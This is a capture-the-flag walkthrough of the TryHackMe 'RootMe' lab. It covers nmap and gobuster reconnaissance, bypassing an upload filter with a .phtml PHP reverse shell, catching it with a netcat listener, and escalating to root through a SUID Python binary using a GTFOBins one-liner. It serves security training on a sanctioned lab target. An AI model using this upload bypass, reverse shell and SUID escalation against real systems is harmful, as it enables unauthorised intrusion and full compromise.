TryHackMe: RootMe Write-up 🚩

Difficulty: Easy Platform: TryHackMe Objective: Gain root access to the Linux machine.

⚠️Disclaimer: This walkthrough is for educational purposes only. The IP address used in this documentation (10.49.178.211) was specific to my lab session. If you are following along, your target IP address will be different. Do not copy my IP; use the one provided by TryHackMe when you deploy your machine.

Step 0: Lab Setup & Connectivity To begin the RootMe challenge, I deployed the target machine on TryHackMe. Instead of using the browser-based AttackBox, I chose to use my local Kali Linux VM for a more realistic environment. I connected to the TryHackMe network using OpenVPN.

Command: sudo openvpn your_config.ovpn

I checked for the "Initialization Sequence Completed" message to ensure the tunnel was active.

Identifying My Target: The target machine was deployed at 10.49.178.211. I confirmed connectivity by sending a simple ping:

Command: ping -c 3 10.49.178.211

Step 1: Reconnaissance (Nmap)

I started with an Nmap scan to find open ports and service versions. This helps identify the 'attack surface.

Command: nmap -sV <Target_IP>

Step 2: Directory Discovery (Gobuster)

The Nmap scan revealed a web server on Port 80. Since the homepage appeared standard, I used Gobuster to perform a directory brute-force attack. This allowed me to find hidden paths on the server that aren't linked on the main page.

Command: gobuster dir -u http://10.49.178.211 -w /usr/share/wordlists/dirb/common.txt

I discovered directory: /p****/

Step 3: Gaining Access (Reverse Shell)

Upon navigating to the hidden directory, I found a file upload form. I attempted to upload a standard PHP reverse shell, but it was blocked. By renaming the file extension to .phtml, I successfully bypassed the filter. I then set up a Netcat listener on my local machine to 'catch' the incoming connection.

Commands:

nc -lvnp 9999 (Your listener) python -c 'import pty; pty.spawn("/bin/bash")' (To stabilize your shell)

Once the connection was established, the shell was a bit 'unstable' (no autocomplete, no clear prompt). I used the Python pty module to upgrade to a more stable bash shell.

Step 4: Uploading shell.pthml file After turning on the listner go in your browesr and search http://<target.ip>/p****/

Then select the file shell.phtml and upload it

###BUT BEFORE UPLOADING THE FILE OPEN THAT FILE USING COMMAND "nano shell.phtml" AND CHANGE IP TO YOUR AND PORT OF YOUR CHOICE###

Now, after uploading go to http://<target.ip>/uploads/

and click on sheel.pthml and look to you lisner

STEP 5: Privilege Escalation & Final Flags After gaining an initial shell as www-data, the final goal was to escalate privileges to the root user.

1. Identifying the Vulnerability (SUID Search): I searched the system for files with the SUID (Set User ID) bit enabled. This bit allows a file to be executed with the permissions of the owner (in this case, root).

Command: find / -user root -perm -4000 -print 2>/dev/null

Discovery: The scan revealed that /usr/bin/python had the SUID bit set. This is a critical security risk because Python can be used to execute system commands.

2. Exploiting the SUID Bit Using a technique from GTFOBins: I executed a Python one-liner to spawn a shell with root privileges (-p flag).

Command: python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

Verification: I ran whoami, and the system returned root.

3. Capturing the Flags Now with full administrative access, I retrieved both the user and root flags.

User Flag: Located at /var/www/user.txt

THM{********************}

Root Flag: Located at /root/root.txt THM{********************}